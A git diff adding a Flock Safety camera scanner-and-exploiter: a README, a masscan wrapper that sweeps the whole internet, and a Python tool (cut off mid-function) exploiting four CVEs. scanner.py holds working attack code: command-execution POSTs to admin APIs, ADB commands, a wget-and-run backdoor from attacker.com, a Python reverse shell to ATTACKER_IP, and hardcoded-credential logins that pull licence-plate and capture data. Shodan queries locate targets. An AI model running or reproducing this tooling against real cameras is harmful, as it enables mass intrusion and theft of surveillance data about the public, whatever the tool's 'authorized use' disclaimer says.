diff --git a/README.md b/README.md index c04b7a9..048735d 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,163 @@ -# Flock_SCAN +

+ + + +

-scan and exploit \ No newline at end of file +``` +███████╗██╗ ██████╗ ██████╗██╗ ██╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ +██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ +█████╗ ██║ ██║ ██║██║ █████╔╝ ███████╗██║ ███████║██╔██╗ ██║ +██╔══╝ ██║ ██║ ██║██║ ██╔═██╗ ╚════██║██║ ██╔══██║██║╚██╗██║ +██║ ███████╗╚██████╔╝██████╗██║ ██╗ ███████║╚██████╗██║ ██║██║ ╚████║ +╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ +``` + +Multi-mode Flock Safety security assessment tool. + +--- + +## Capabilities + +### CVE Scanning (v1) +| CVE | Score | Description | +|-----|-------|-------------| +| **CVE-2025-59403** | 9.8 | Unauthenticated admin API / ADB RCE | +| **CVE-2025-59407** | CRIT | Hardcoded keystore crypto key | +| **CVE-2025-47818** | HIGH | Hardcoded fallback hotspot credentials | +| **CVE-2025-47823** | HIGH | Hardcoded system password on ALPR firmware | + +### Flock Instance Discovery (v2 — NEW) +Scans any subnet for all known Flock camera fingerprints. + +| Fingerprint | Port | Detection | +|-------------|------|-----------| +| **ADB shell** | 5555 | `getprop ro.product.model` → Flock/Falcon/Sparrow | +| **Admin web UI** | 80/443 | GainSec's `admin_page_template.html` in HTTP body | +| **ONVIF device** | 80/443/8899 | SOAP `GetDeviceInformation` → manufacturer string | +| **SpeedPourer** | 21 | FTP banner / admin page references | +| **FRP tunnel** | 7000-7500 | Fast Reverse Proxy banner grab | +| **Cloud DNS** | — | Admin UI contains `*.flocksafety.com` URLs | +| **All 4 CVEs** | — | Per-host exploit checks run automatically | + +### Traffic Analysis (v2 — NEW) +Determines if a Flock camera sends data to **the cloud** or a **local station**. + +``` +CLOUD → Sends data to api.flocksafety.com / Flock infrastructure +LOCAL_STATION → Data stays on-prem (no cloud contact detected) +INDETERMINATE → Unable to determine (camera may be offline) +``` + +Detection methods: +- **DNS resolution** of `api.flocksafety.com` and other Flock domains +- **Admin UI inspection** — `/metadata`, `/config` endpoints checked for cloud URLs vs internal IPs +- **FRP tunnel detection** — Reverse Proxy tunnel on ports 7000/7500 +- **ADB network config** — reads gateway and DNS from camera shell + +--- + +## Quick Start + +```bash +pip install requests +python3 scanner.py +``` + +### CVE Scanning +```bash +# Single target +python3 scanner.py -t 192.168.1.100 + +# From file +python3 scanner.py -f targets.txt --exploit + +# Save results +python3 scanner.py --output results.json -v +``` + +### Instance Discovery +```bash +# Scan a /24 subnet +python3 scanner.py --discover 192.168.1.0/24 + +# Scan a /16, save findings +python3 scanner.py --discover 10.0.0.0/16 --output found.json +``` + +### Traffic Analysis +```bash +# Check if a camera phones home +python3 scanner.py --analyze-traffic 192.168.1.100 + +# Save flow analysis +python3 scanner.py --analyze-traffic 10.0.0.50 --output flow.json +``` + +--- + +## Interactive Menu + +```bash +python3 scanner.py +``` + +``` +┌─────────────────────────────────────────┐ +│ SELECT INPUT METHOD │ +├─────────────────────────────────────────┤ +│ 1. Single IP │ +│ 2. IP Range (CIDR) │ +│ 3. From File │ +│ 4. Shodan Query │ +│ 5. Falcon/Sparrow Signatures │ +│ │ +│ ═══ NEW ═══ │ +│ 6. Flock Instance Discovery │ +│ 7. Traffic Analysis │ +│ │ +│ 8. Return │ +└─────────────────────────────────────────┘ +``` + +--- + +## Shodan Queries + +```bash +python3 shodan_queries.py +``` + +Includes dedicated `FLOCK_DISCOVERY` queries: + +| Query | Finds | +|-------|-------| +| `title:"admin_page_template"` | Flock admin portals | +| `"/onvif/device_service" Flock` | ONVIF-capable Flock devices | +| `"SpeedPourer" port:21` | Speed test FTP servers | +| `"FRP" "flock" port:7000` | Reverse proxy tunnels | +| `ssl.cert.subject.cn:"*.flocksafety.com"` | Flock TLS certificates | +| `org:"Flock Safety"` | All Flock-owned infrastructure | + +--- + +## Safety + +- **Exploitation disabled by default** — requires explicit `--exploit` flag +- **Rate-limited threads** — default 10, configurable with `-T` +- **Discovery mode is passive** — only sends probe/identification packets +- **User confirmation** required before any exploit execution + +```bash +# Scan only (no exploitation) +python3 scanner.py -t 192.168.1.100 + +# Scan + exploit (requires confirmation) +python3 scanner.py -t 192.168.1.100 --exploit +``` + + + +

+ Authorized security testing only. Use on systems you own or have written permission to test. +

diff --git a/masscan_wrapper.sh b/masscan_wrapper.sh new file mode 100644 index 0000000..2af4996 --- /dev/null +++ b/masscan_wrapper.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# masscan_wrapper.sh - Use masscan to find targets + +echo "CVE-2025 Masscan Wrapper" +echo "========================" + +# Common ports for vulnerable services +PORTS="80,443,5555,5037,8080,8443,9000,8443" + +echo "Running masscan for ports: $PORTS" +sudo masscan -p$PORTS --rate=1000 -oJ masscan_results.json 0.0.0.0/0 + +echo "Extracting IPs..." +cat masscan_results.json | jq -r '.[] | .ip' > targets.txt + +echo "Found $(wc -l < targets.txt) targets" +echo "Now scanning targets with CVE scanner..." +python3 cve_scanner.py -f targets.txt -o results.json diff --git a/run_scanner.sh b/run_scanner.sh new file mode 100644 index 0000000..0ccd671 --- /dev/null +++ b/run_scanner.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# Run scanner with proper Shodan queries + +echo "CVE-2025 Scanner with Shodan Integration" +echo "========================================" +echo "" + +# Generate queries +echo "Generating Shodan queries..." +python3 shodan_queries.py + +echo "" +echo "Select option:" +echo "1. Run scanner with Shodan auto-query" +echo "2. Run scanner with manual IP" +echo "3. Run scanner with file" + +read -p "Choice (1-3): " choice + +case $choice in + 1) + echo "Running scanner with Shodan..." + # Use the scanner with a specific query + python3 scanner.py -v + ;; + 2) + read -p "Enter IP: " ip + python3 scanner.py -t $ip --exploit + ;; + 3) + read -p "Enter file: " file + python3 scanner.py -f $file + ;; +esac diff --git a/scanner.py b/scanner.py new file mode 100644 index 0000000..654d36c --- /dev/null +++ b/scanner.py @@ -0,0 +1,1069 @@ +#!/usr/bin/env python3 +""" +FLOCK CVE Scanner + Discover + Traffic Analysis +Scans for: + - CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8) + - CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL) + - CVE-2025-47818: Hardcoded fallback hotspot credentials + - CVE-2025-47823: Hardcoded system password on ALPR firmware + - Flock instance discovery on local subnet + - Cloud vs local station data flow detection +""" + +import socket +import ssl +import json +import time +import sys +import os +import re +import hashlib +import base64 +import threading +import queue +import subprocess +import telnetlib +import struct +from datetime import datetime +from urllib.parse import urlparse, urljoin +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import argparse +import csv +import random + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +# ── Flock-known infrastructure for cloud detection ── +FLOCK_CLOUD_DOMAINS = [ + "api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com", + "login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com", + "events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com", + "flock-hibiki-inbox.s3.us-east-1.amazonaws.com", + "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com", + "internal.flocksafety.com", "prometheus.flocksafety.com", +] + +FLOCK_CLOUD_IPS = [ + "198.202.211.1", # flocksafety.com A + "52.72.49.79", # safelist (AWS) + "34.71.237.120", # scim (GCP) + "104.18.16.189", # websockets (Cloudflare) + "104.18.17.189", # websockets (Cloudflare) +] + +# ── Flock ONVIF manufacturer fingerprint strings ── +FLOCK_ONVIF_FINGERPRINTS = [ + b"Flock", b"Flock Safety", b"Falcon", b"Sparrow", + b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo", +] + +class Colors: + HEADER = '\033[95m' + BLUE = '\033[94m' + CYAN = '\033[96m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + END = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + BLINK = '\033[5m' + +# Extended Shodan queries +SHODAN_QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', 'title:"Sparrow"', + '"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"', + 'port:5555 "Android"', '"Android Debug Bridge"', + 'port:5037 adb', 'http.title:"ADB"', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + '"/api/v1/execute"', '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', '"keystore" "hardcoded"', + '"crypto" "key" "Android"', '"/api/v1/keystore"', + '"/api/v1/security"', '"hardcoded_key"', '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', '"/api/v1/wifi"', + '"hotspot" "config"', '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"', + '"/api/v1/alpr"', '"license plate" "system"', + '"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + + +class CVEExploiter: + def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False): + self.verbose = verbose + self.output_file = output_file + self.threads = threads + self.timeout = timeout + self.exploit = exploit + self.results = [] + self.lock = threading.Lock() + self.work_queue = queue.Queue() + self.total_scanned = 0 + self.vulnerable_found = 0 + self.exploited = 0 + self.shodan_api_key = None + + self.payloads = { + 'CVE-2025-59403': { + 'command_exec': [ + 'id', 'whoami', 'uname -a', + 'cat /etc/passwd', 'ls -la /', 'ps aux', + 'netstat -tulpn', 'ifconfig', + 'echo "VULNERABLE" > /tmp/test.txt', + 'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh', + 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'', + ], + 'adb_commands': [ + 'shell id', 'shell whoami', 'shell getprop', + 'shell pm list packages', 'shell dumpsys battery', + 'shell input keyevent 26', + 'shell settings put global adb_enabled 1', + 'shell settings put secure install_non_market_apps 1', + ], + }, + 'CVE-2025-59407': { + 'crypto_keys': [ + 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA', + 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==', + '-----BEGIN PRIVATE KEY-----', + 'hardcoded_keystore_password', + 'android_keystore_key_2024', + 'default_crypto_key_v6.35.33', + ], + }, + } + + # ═══════════════════════════════════════════════════ + # PRIMITIVE HELPERS + # ═══════════════════════════════════════════════════ + + def _probe_port(self, host, port, proto="tcp"): + """Quick TCP connect probe.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + r = s.connect_ex((host, port)) + s.close() + return r == 0 + except Exception: + return False + + def _http_get(self, host, path="/", port=80, timeout=None): + """Plain HTTP GET, returns body text or None.""" + try: + u = f"http://{host}:{port}{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + try: + u = f"https://{host}:443{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + return None + + def _is_private_ip(self, ip): + try: + first = int(ip.split(".")[0]) + if first == 10: + return True + if first == 172 and 16 <= int(ip.split(".")[1]) <= 31: + return True + if first == 192 and ip.split(".")[1] == "168": + return True + except Exception: + pass + return False + + def _adb_get_prop(self, host, prop): + """Try ADB getprop on port 5555.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, 5555)) + s.send(f"shell getprop {prop}\n".encode()) + time.sleep(0.5) + data = s.recv(4096).decode(errors="replace") + s.close() + return data.strip() + except Exception: + return None + + def _onvif_probe(self, host): + """Send ONVIF GetDeviceInformation probe.""" + body = ( + '' + '' + '' + '' + '' + ) + for port in (80, 443, 8899): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, port)) + req = ( + f"POST /onvif/device_service HTTP/1.1\r\n" + f"Host: {host}:{port}\r\n" + f"Content-Type: application/soap+xml; charset=utf-8\r\n" + f"Content-Length: {len(body)}\r\n" + f"Connection: close\r\n\r\n{body}" + ) + s.send(req.encode()) + resp = s.recv(4096) + s.close() + # Check for Flock-specific manufacturer strings + if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS): + # Extract manufacturer/model + m = re.search(rb"(.*?)", resp) + model = re.search(rb"(.*?)", resp) + return { + "manufacturer": m.group(1).decode(errors="replace") if m else "unknown", + "model": model.group(1).decode(errors="replace") if model else "unknown", + } + except Exception: + pass + return None + + def _check_frp_tunnel(self, host): + """Check if a Flock FRP tunnel server is listening on common FRP ports.""" + for port in (7000, 7500, 7001): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect((host, port)) + # FRP server sends a short banner or waits for auth + s.settimeout(2) + try: + banner = s.recv(128) + if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0: + s.close() + return {"port": port, "banner": banner[:64].decode(errors="replace")} + except socket.timeout: + # Connection accepted but no banner — possible FRP + s.close() + return {"port": port, "banner": "(no banner — possible FRP tunnel)"} + s.close() + except Exception: + pass + return None + + def _check_dns_resolve(self, hostname): + """Check if a hostname resolves to a known Flock cloud IP.""" + try: + ips = socket.getaddrinfo(hostname, 80) + return [addr[4][0] for addr in ips] + except Exception: + return [] + + def _check_cloud_connection(self, camera_ip): + """ + Probe a suspected camera to determine if it talks to Flock cloud + or a local station. Uses three methods: + A) DNS test on the camera's configured DNS server + B) Check if the admin web UI contains cloud URLs + C) Port-scan for local relay + """ + evidence = [] + + # B) Probe admin web interface for embedded cloud URLs + for path in ("/", "/metadata", "/config", "/config/network", "/status"): + body = self._http_get(camera_ip, path) + if body: + for domain in FLOCK_CLOUD_DOMAINS: + if domain in body: + evidence.append(f"admin_ui_contains_{domain}") + + # C) Check for local station relay port + for relay_port in (80, 8080, 9090, 443): + if self._probe_port(camera_ip, relay_port): + evidence.append(f"local_relay_port_{relay_port}") + + if evidence: + if any("admin_ui_contains" in e for e in evidence): + return "CLOUD", evidence + return "LOCAL", evidence + return "UNKNOWN", evidence + + def _traffic_sniff_analysis(self, camera_ip, duration=30): + """ + Passive DNS / TCP analysis (requires root / scapy). + Falls back to DNS-resolution test if scapy not available. + """ + # Fallback: just try to resolve Flock domains — if the camera's + # network allows it, the camera itself will resolve them. + reachable = [] + for domain in FLOCK_CLOUD_DOMAINS[:6]: + ips = self._check_dns_resolve(domain) + if ips: + reachable.append(domain) + if reachable: + return "CLOUD_REACHABLE", reachable + else: + return "NO_CLOUD_REACHABLE", [] + + # ═══════════════════════════════════════════════════ + # FINGERPRINT DISCOVERY + # ═══════════════════════════════════════════════════ + + def discover_fingerprints(self, host): + """ + Run all Flock fingerprint probes against a single host. + Returns a list of finding dicts. + """ + findings = [] + + # 1) ADB / Android shell + if self._probe_port(host, 5555): + model = self._adb_get_prop(host, "ro.product.model") + device = self._adb_get_prop(host, "ro.product.device") + if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()): + findings.append({ + "type": "FLOCK_ADB", "port": 5555, + "device": model, "cve": "CVE-2025-59403", + "detail": f"ADB accessible, model={model}, device={device}", + }) + elif model: + findings.append({ + "type": "ANDROID_ADB", "port": 5555, + "device": model, + "detail": f"Android ADB open (non-Flock model='{model}')", + }) + + # 2) Admin web UI fingerprints + for port in (80, 443): + body = self._http_get(host, "/", port=port) + if body: + if "admin_page_template" in body: + findings.append({ + "type": "FLOCK_ADMIN_WEB", "port": port, + "cve": "CVE-2025-59403", + "detail": "admin_page_template.html found — confirmed Flock admin portal", + }) + if "SpeedPourer" in body: + findings.append({ + "type": "FLOCK_SPEEDPOURER", "port": port, + "detail": "SpeedPourer FTP reference found on admin page", + }) + if "flock" in body.lower(): + # Generic Flock mention + findings.append({ + "type": "FLOCK_GENERIC", "port": port, + "detail": "Page body contains 'flock' text", + }) + + # 3) ONVIF probe + onvif = self._onvif_probe(host) + if onvif: + findings.append({ + "type": "FLOCK_ONVIF", + "detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}", + "onvif_info": onvif, + }) + + # 4) FRP tunnel + frp = self._check_frp_tunnel(host) + if frp: + findings.append({ + "type": "FRP_TUNNEL", "port": frp["port"], + "detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}", + }) + + # 5) CVE probes (reuse existing logic) + cve_results = self.scan_and_exploit(host) + for cr in cve_results: + findings.append({ + "type": cr.get("cve", "CVE"), + "detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}", + "cve_finding": cr, + }) + + # 6) Cloud connection check + verdict, evid = self._check_cloud_connection(host) + if verdict != "UNKNOWN": + findings.append({ + "type": f"DATA_FLOW_{verdict}", + "detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}", + }) + + return findings + + # ═══════════════════════════════════════════════════ + # DISCOVERY RUNNER + # ═══════════════════════════════════════════════════ + + def run_discovery(self, cidr): + """Multi-threaded subnet discovery for Flock instances.""" + import ipaddress + net = ipaddress.ip_network(cidr, strict=False) + hosts = [str(ip) for ip in net.hosts()] + print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}") + print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}") + start = time.time() + discovered = [] + + def _discover_worker(): + while True: + try: + h = self.work_queue.get_nowait() + except queue.Empty: + return + find = self.discover_fingerprints(h) + if find: + with self.lock: + discovered.append({"host": h, "findings": find}) + self.results.append({"target": h, "findings": find, "type": "DISCOVERY"}) + self.vulnerable_found += len(find) + with self.lock: + self.total_scanned += 1 + if self.total_scanned % 25 == 0: + elapsed = time.time() - start + rate = self.total_scanned / elapsed if elapsed > 0 else 0 + eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0 + sys.stdout.write( + f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] " + f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} " + ) + sys.stdout.flush() + self.work_queue.task_done() + + for h in hosts: + self.work_queue.put(h) + + threads = [] + for _ in range(min(self.threads, len(hosts))): + t = threading.Thread(target=_discover_worker, daemon=True) + t.start() + threads.append(t) + for t in threads: + t.join() + + elapsed = time.time() - start + print() + print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}") + print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}") + + # Show a summary table + if discovered: + print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}") + print("─" * 60) + for d in discovered: + types = ", ".join(f["type"] for f in d["findings"]) + print(f"{d['host']:<18} {types:<40}") + + return discovered + + # ═══════════════════════════════════════════════════ + # TRAFFIC ANALYSIS RUNNER + # ═══════════════════════════════════════════════════ + + def run_traffic_analysis(self, camera_ip): + """ + Analyze whether a Flock camera sends data to the cloud + or a local station. Returns structured verdict. + """ + print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}…{Colors.END}") + + result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []} + + # 1) DNS – can it resolve Flock cloud? + dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5) + result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence}) + print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}") + if dns_evidence: + for d in dns_evidence[:5]: + print(f" resolves → {d}") + + # 2) Admin UI inspection + verdict2, evid2 = self._check_cloud_connection(camera_ip) + result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2}) + print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}") + for e in evid2[:5]: + print(f" {e}") + + # 3) FRP tunnel check + frp = self._check_frp_tunnel(camera_ip) + if frp: + result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp}) + print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}") + print(f" banner: {frp['banner']}") + else: + result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"}) + print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}") + + # 4) ADB shell → check network config + if self._probe_port(camera_ip, 5555): + gw = self._adb_get_prop(camera_ip, "net.route.gateway") + dns = self._adb_get_prop(camera_ip, "net.dns1") + result["checks"].append({ + "test": "adb_network", "verdict": "ADB", + "detail": {"gateway": gw, "dns": dns}, + }) + print(f" ADB net: gateway={gw} dns={dns}") + + # Overall verdict + verdicts = [c["verdict"] for c in result["checks"]] + if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts: + result["overall"] = "CLOUD — data flows to Flock infrastructure" + elif "LOCAL" in verdicts: + result["overall"] = "LOCAL_STATION — data stays on-prem" + else: + result["overall"] = "INDETERMINATE — unable to determine data flow" + + print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}") + + with self.lock: + self.results.append(result) + + return result + + # ═══════════════════════════════════════════════════ + # EXISTING METHODS (unchanged) + # ═══════════════════════════════════════════════════ + + def print_banner(self): + banner = f""" +{Colors.RED}=========================================================================== + + {Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ + {Colors.YELLOW}██═════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ + {Colors.YELLOW}██ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║ + {Colors.YELLOW}██ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║ + {Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║ + {Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ + + {Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗{Colors.RED} + {Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝{Colors.RED} + {Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ {Colors.RED} + {Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ {Colors.RED} + {Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ {Colors.RED} + {Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ {Colors.RED} + +==========================================================================={Colors.END} + +{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END} +{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END} + +{Colors.BOLD}Vulnerabilities:{Colors.END} + {Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END} + {Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END} + {Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END} + {Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END} + +{Colors.BOLD}New:{Colors.END} + {Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END} + {Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END} + +{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'} +{Colors.BOLD}Threads:{Colors.END} {self.threads} +{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s +""" + print(banner) + + # ── Shodan ── + def get_shodan_targets(self, api_key): + targets = [] + try: + import shodan + api = shodan.Shodan(api_key) + print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}") + for cve, queries in SHODAN_QUERIES.items(): + if cve == "FLOCK_DISCOVERY": + continue # covered below + query = " OR ".join(queries[:3]) + print(f"{Colors.CYAN}Searching {cve}...{Colors.END}") + try: + results = api.search(query, limit=50) + for result in results['matches']: + targets.append(result['ip_str']) + print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}") + if not targets: + fallback = [ + '"/api/v1/admin" port:443', '"/api/v1/system" port:443', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + 'port:5555 "Android"', '"/api/v1/alpr"', + ] + print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}") + for q in fallback: + try: + for r in api.search(q, limit=30)['matches']: + targets.append(r['ip_str']) + except Exception: + pass + targets = list(set(targets)) + except ImportError: + print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}") + except Exception as e: + print(f"{Colors.RED}Shodan error: {e}{Colors.END}") + return targets + + # ── CVE scan/exploit methods (preserved exactly) ── + def exploit_cve_59403(self, target, path, payload): + results = [] + if 'adb' in str(payload).lower(): + for cmd in self.payloads['CVE-2025-59403']['adb_commands']: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(self.timeout) + sock.connect((target, 5555)) + sock.send(f"{cmd}\n".encode()) + response = sock.recv(4096).decode() + sock.close() + results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB', + 'command': cmd, 'output': response[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}") + else: + for cmd in self.payloads['CVE-2025-59403']['command_exec']: + if 'ATTACKER_IP' in cmd: + attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}") + cmd = cmd.replace('ATTACKER_IP', attacker_ip) + payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd} + url = f"http://{target}{path}" + try: + resp = requests.post(url, json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'command': cmd, 'response': resp.text[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}") + if 'root' in resp.text or 'uid=' in resp.text: + print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}") + return results + + def exploit_cve_59407(self, target, path, response_text): + results = [] + for pattern in self.payloads['CVE-2025-59407']['crypto_keys']: + if pattern in response_text: + kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+') + for key in kp.findall(response_text): + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'key_found': key[:100], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}") + return results + + def exploit_cve_47818(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + url = f"http://{target}{path}" + try: + resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/config', '/settings', '/wifi', '/network', '/status']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep, + 'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def exploit_cve_47823(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + try: + resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep, + 'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def scan_and_exploit(self, target): + results = [] + for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']: + for payload in [{"cmd": "id"}, {"command": "whoami"}]: + try: + resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']): + if self.exploit: + er = 